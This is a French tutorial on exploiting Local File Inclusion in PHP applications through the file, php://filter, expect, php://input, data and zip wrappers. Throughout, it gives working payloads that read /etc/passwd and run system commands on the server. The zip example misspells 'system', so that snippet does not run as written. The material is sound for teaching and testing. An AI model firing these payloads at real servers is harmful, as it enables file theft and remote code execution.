PHP Wrappers

Les wrappers PHP sont des gestionnaires permettant d'accéder à des ressources et fonctionnalités supplémentaires directement depuis l'URL d'une application. Il en existe plusieurs mais nous n'en verrons que six puisque ce sont eux qui nous intéresseront dans le cadre de l'exploitation de LFI:

I/ Wrapper file://

Ce wrapper va tout simplement nous permettre d'accéder aux fichiers présents sur un serveur:

http://localhost/?file=file:///etc/passwd

lfia4.png

Il peut être intéressant à utiliser lorsque l'application filtre correctement les caractères spéciaux:

../

II/ Wrapper php://filter

Le wrapper php://filter va nous permettre de récupérer le code source des pages PHP de l'application ainsi que d'autres fichiers présents sur le serveur:

http://localhost/?file=php://filter/convert.base64-encode/resource=/etc/passwd

lfiw1.png

Ici nous avons exfiltré de la donnée au format base64 mais il existe bien d'autres types d'encodage. Ce wrapper est très pratique quand il s'agit d'exfiltrer du contenu qui aurait été interprété par la serveur (du code PHP typiquement). Il suffira de décoder la chaîne de caractères renvoyés pour accéder au contenu du fichier.

III/ Wrapper php://expect

Le wrapper php://expect n'est pas activé par défaut puisqu'il nécessite l'installation de la librairie Expect:

apt install php-pear
apt install php5-dev
pecl install Expect

Ce dernier s'utilise de cette manière:

http://localhost/?file=expect://ls

Actuellement le portage PHP5 > PHP7 n'est pas disponible donc je ne pourrais pas vous démontrer le fonctionnement de ce wrapper.

IV/ Wrapper php://input

Le wrapper php://input va nous permettre d'exécuter des commandes systèmes via une requête POST. Ainsi avec la requête cURL suivante nous allons pouvoir afficher le nom de l'utilisateur courant via la fonction system():

curl "http://localhost/?file=php://input" -X POST -d "<?php system('id'); ?>"

lfia2.png

Pour que l'utilisation du wrapper php://input fonctionne il faudra que la directive allow_url_include ait la valeur suivante:

allow_url_include = On

V/ Wrapper data://

Ce wrapper va luis aussi nous permettre d'exécuter du code côté serveur. Nous n'aurons qu'à encoder en base64 le code PHP à exécuter et l'envoyer au serveur via cette requête:

http://localhost/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4

lfia3.png

Encore une fois ce wrapper nécessite que la directive allow_url_include ait la valeur suivante:

allow_url_include = On

VI/ Wrapper zip://

Le wrapper zip va nous permettre d'exécuter du code PHP si l'application nous permet d'uploader un fichier zip. Pour illustrer ce wrapper nous allons partir du principe qu'il existe un formulaire d'upload qui permet d'uploader un fichier zip sur l'application. Nous allons aussi faire le postulat selon lequel nous savons que le fichier zip uploadé se trouve dans le répertoire

/var/www/html/exploit.zip

Voici le POC PHP utilisé:

<?php sytem("whoami"); ?>

Nous allons ziper ce fichier puis l'uploader:

zip exploit.zip exploit.php

Puis à partir de notre LFI nous allons appeler l'archive de cette manière:

http://localhost/?file=zip:///var/www/html/exploit.zip%23exploit.php

En faisant ça nous indiquons au wrapper zip de cibler le fichier exploit.zip et d'exécuter le contenu du fichier exploit.php:

5xClfia4.pngCe wrapper ne nécessite pas l'activation de la directive allow_url_include. Il est obligatoire d'encoder le caractère # sinon l'exploitation ne fonctionne pas (d'où la présence du %23 dans l'URL).